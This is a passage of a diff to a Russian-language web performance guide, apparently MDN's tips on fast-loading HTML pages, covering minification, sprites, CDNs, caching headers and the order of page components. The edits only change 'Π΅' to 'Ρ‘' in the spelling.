+<p>УмСньшСниС вСса страницы Π·Π° счёт устранСния Π½Π΅Π½ΡƒΠΆΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π², ΡˆΠΈΡ€ΠΎΠΊΠΎ извСстна как минимизация, ΠΈ пСрСмСщая встроСнный скрипт ΠΈ CSS Π²ΠΎ внСшниС Ρ„Π°ΠΉΠ»Ρ‹, ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ потрСбностями Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… измСнСниях Π² структурС страницы.</p>
<p>Π’Π°ΠΊΠΈΠ΅ инструмСнты, ΠΊΠ°ΠΊ <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> , ΠΌΠΎΠ³ΡƒΡ‚ автоматичСски ΡƒΠ±ΠΈΡ€Π°Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΈ лишниС пустыС строки ΠΈΠ· допустимого источника HTML. Π”Ρ€ΡƒΠ³ΠΈΠ΅ инструмСнты ΠΌΠΎΠ³ΡƒΡ‚ Β«ΡΠΆΠΈΠΌΠ°Ρ‚ΡŒΒ» JavaScript, пСрСформатируя источник ΠΈΠ»ΠΈ запутывая источник ΠΈ замСняя Π΄Π»ΠΈΠ½Π½Ρ‹Π΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹ Π½Π° Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠ΅ вСрсии</p>
@@ -24,15 +24,15 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages
<p>УмСньшСниС количСства Ρ„Π°ΠΉΠ»ΠΎΠ², Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅ΡΡ‚ΡŒ ссылки Π½Π° Π²Π΅Π±-страницС, ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ количСство HTTP-соСдинСний, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы, Ρ‚Π΅ΠΌ самым сокращая врСмя ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ этих запросов ΠΈ получСния ΠΈΡ… ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ².</p>
-<p>Π’ зависимости ΠΎΡ‚ настроСк кэша Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ запрос с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ <code>If-Modified-Since</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ссылочного Ρ„Π°ΠΉΠ»Π°, ΡΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ, Π±Ρ‹Π» Π»ΠΈ Ρ„Π°ΠΉΠ» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° послСднСй Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. Блишком ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π·Π°Ρ‚Ρ€Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΠΎΠ΅ Π½Π° запрос Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ послСднСго измСнСния ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Π±-страницы, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ врСмя измСнСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· этих Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ страницы.</p>
+<p>Π’ зависимости ΠΎΡ‚ настроСк кэша Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ запрос с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ <code>If-Modified-Since</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ссылочного Ρ„Π°ΠΉΠ»Π°, ΡΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ, Π±Ρ‹Π» Π»ΠΈ Ρ„Π°ΠΉΠ» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° послСднСй Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. Блишком ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π·Π°Ρ‚Ρ€Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΠΎΠ΅ Π½Π° запрос Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ послСднСго измСнСния ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Π±-страницы, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ врСмя измСнСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· этих Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ страницы.</p>
-<p>Если Π²Ρ‹ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ изобраТСния Π² своСм CSS, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ количСство запросов Π½Π° поиск HTTP, объСдинив изобраТСния Π² ΠΎΠ΄Π½ΠΎ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ спрайтом изобраТСния. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ просто примСняСтС ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ это Π½ΡƒΠΆΠ½ΠΎ для Ρ„ΠΎΠ½Π°, ΠΈ соотвСтствСнно ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ x / y.Β Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π»ΡƒΡ‡ΡˆΠ΅ всСго Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с элСмСнтами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹, ΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ использования Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, мСньшСС количСство HTTP-запросов ΠΈ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ изобраТСния ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы.</p>
+<p>Если Π²Ρ‹ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ изобраТСния Π² своём CSS, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ количСство запросов Π½Π° поиск HTTP, объСдинив изобраТСния Π² ΠΎΠ΄Π½ΠΎ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ спрайтом изобраТСния. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ просто примСняСтС ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ это Π½ΡƒΠΆΠ½ΠΎ для Ρ„ΠΎΠ½Π°, ΠΈ соотвСтствСнно ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ x / y.Β Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π»ΡƒΡ‡ΡˆΠ΅ всСго Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с элСмСнтами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹, ΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ использования Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, мСньшСС количСство HTTP-запросов ΠΈ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ изобраТСния ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы.</p>
<h3 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_ΡΠ΅Ρ‚ΡŒ_доставки_(ΠΈ_дистрибуции)_содСрТимого_(Content_Delivery_Network_(CDN))"><strong>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΡΠ΅Ρ‚ΡŒ доставки (ΠΈ дистрибуции) содСрТимого (</strong>Content Delivery Network (CDN)<strong>)</strong></h3>
-<p>Для Ρ†Π΅Π»Π΅ΠΉ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ CDN - это срСдство ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ физичСского расстояния ΠΌΠ΅ΠΆΠ΄Ρƒ вашим сСрвСром ΠΈ вашим посСтитСлСм. По ΠΌΠ΅Ρ€Π΅ увСличСния расстояния ΠΌΠ΅ΠΆΠ΄Ρƒ вашим сСрвСром ΠΈ посСтитСлСм врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, ваш сСрвСр Π²Π΅Π±-сайта находится Π² Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚Π°Ρ… ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ посСтитСля ΠΈΠ· Индии; врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ для индийского посСтитСля ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с посСтитСлСм ΠΈΠ· БША.</p>
+<p>Для Ρ†Π΅Π»Π΅ΠΉ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ CDN - это срСдство ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ физичСского расстояния ΠΌΠ΅ΠΆΠ΄Ρƒ вашим сСрвСром ΠΈ вашим посСтитСлСм. По ΠΌΠ΅Ρ€Π΅ увСличСния расстояния ΠΌΠ΅ΠΆΠ΄Ρƒ вашим сСрвСром ΠΈ посСтитСлСм врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, ваш сСрвСр Π²Π΅Π±-сайта находится Π² Π‘ΠΎΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚Π°Ρ… ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ посСтитСля ΠΈΠ· Индии; врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ для индийского посСтитСля ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с посСтитСлСм ΠΈΠ· БША.</p>
-<p>CDN - это гСографичСски распрСдСлСнная ΡΠ΅Ρ‚ΡŒ сСрвСров, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ расстояниС ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΈ вашим сайтом.Β CDN хранят ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ вСрсии вашСго Π²Π΅Π±-сайта ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΈΡ… посСтитСлям Ρ‡Π΅Ρ€Π΅Π· блиТайший ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ сСтСвой ΡƒΠ·Π΅Π», Ρ‚Π΅ΠΌ самым сниТая Π·Π°Π΄Π΅Ρ€ΠΆΠΊΡƒ</p>
+<p>CDN - это гСографичСски распрСдСлённая ΡΠ΅Ρ‚ΡŒ сСрвСров, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ расстояниС ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΈ вашим сайтом.Β CDN хранят ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ вСрсии вашСго Π²Π΅Π±-сайта ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΈΡ… посСтитСлям Ρ‡Π΅Ρ€Π΅Π· блиТайший ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ сСтСвой ΡƒΠ·Π΅Π», Ρ‚Π΅ΠΌ самым сниТая Π·Π°Π΄Π΅Ρ€ΠΆΠΊΡƒ</p>
<p>Π”Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠ΅Π΅ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅:</p>
@@ -50,7 +50,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages
<p>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ любой ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½, ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ подходящСС врСмя истСчСния.</p>
-<p>Π’ частности, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Last-Modified</code>. Π­Ρ‚ΠΎ позволяСт эффСктивно ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ страницы; с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этого Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π°Π³Π΅Π½Ρ‚Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ пСрСдаСтся информация ΠΎ Ρ„Π°ΠΉΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ Ρ…ΠΎΡ‡Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π±Ρ‹Π» послСдний Ρ€Π°Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π²Π΅Π±-сСрвСров автоматичСски Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>Last-Modified</code> ΠΊ статичСским страницам (Π½Π°ΠΏΡ€.Β <code>.html</code>, <code>.css</code>), Π½Π° основС Π΄Π°Ρ‚Ρ‹ послСднСго измСнСния, хранящСйся Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС. Π‘ динамичСскими страницами (Π½Π°ΠΏΡ€. <code>.php</code>, <code>.aspx</code>), это, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сдСлано, ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π½Π΅ отправляСтся.</p>
+<p>Π’ частности, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Last-Modified</code>. Π­Ρ‚ΠΎ позволяСт эффСктивно ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ страницы; с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этого Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π°Π³Π΅Π½Ρ‚Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ пСрСдаётся информация ΠΎ Ρ„Π°ΠΉΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ Ρ…ΠΎΡ‡Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π±Ρ‹Π» послСдний Ρ€Π°Π· ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π²Π΅Π±-сСрвСров автоматичСски Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>Last-Modified</code> ΠΊ статичСским страницам (Π½Π°ΠΏΡ€.Β <code>.html</code>, <code>.css</code>), Π½Π° основС Π΄Π°Ρ‚Ρ‹ послСднСго измСнСния, хранящСйся Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС. Π‘ динамичСскими страницами (Π½Π°ΠΏΡ€. <code>.php</code>, <code>.aspx</code>), это, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сдСлано, ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π½Π΅ отправляСтся.</p>
<p>Π’Π°ΠΊ, Π² частности, для страниц, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ динамичСски, нСбольшоС исслСдованиС ΠΏΠΎ этой Ρ‚Π΅ΠΌΠ΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСсколько слоТным, Π½ΠΎ это сэкономит ΠΌΠ½ΠΎΠ³ΠΎ запросов страниц Π½Π° страницах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Ρ‹.</p>
@@ -64,9 +64,9 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages
<h3 id="Optimally_order_the_components_of_the_page" name="Optimally_order_the_components_of_the_page">ΠžΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΠΉΡ‚Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π½Π° страницС</h3>
-<p>Π‘Π½Π°Ρ‡Π°Π»Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ содСрТимоС страницы вмСстС с Π»ΡŽΠ±Ρ‹ΠΌ CSS ΠΈΠ»ΠΈ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ отобраТСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» самый быстрый ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ Π²ΠΎ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы. Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, прСдставляСт собой тСкст, ΠΈ поэтому ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π²Ρ‹Π³ΠΎΠ΄Ρƒ ΠΎΡ‚ сТатия тСкста ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅, Ρ‡Ρ‚ΠΎ обСспСчиваСт Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ быстрый ΠΎΡ‚ΠΊΠ»ΠΈΠΊ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p>Π‘Π½Π°Ρ‡Π°Π»Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ содСрТимоС страницы вмСстС с Π»ΡŽΠ±Ρ‹ΠΌ CSS ΠΈΠ»ΠΈ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ отобраТСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» самый быстрый ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ Π²ΠΎ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы. Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, прСдставляСт собой тСкст, ΠΈ поэтому ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π²Ρ‹Π³ΠΎΠ΄Ρƒ ΠΎΡ‚ сТатия тСкста ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅, Ρ‡Ρ‚ΠΎ обСспСчиваСт Π΅Ρ‰Ρ‘ 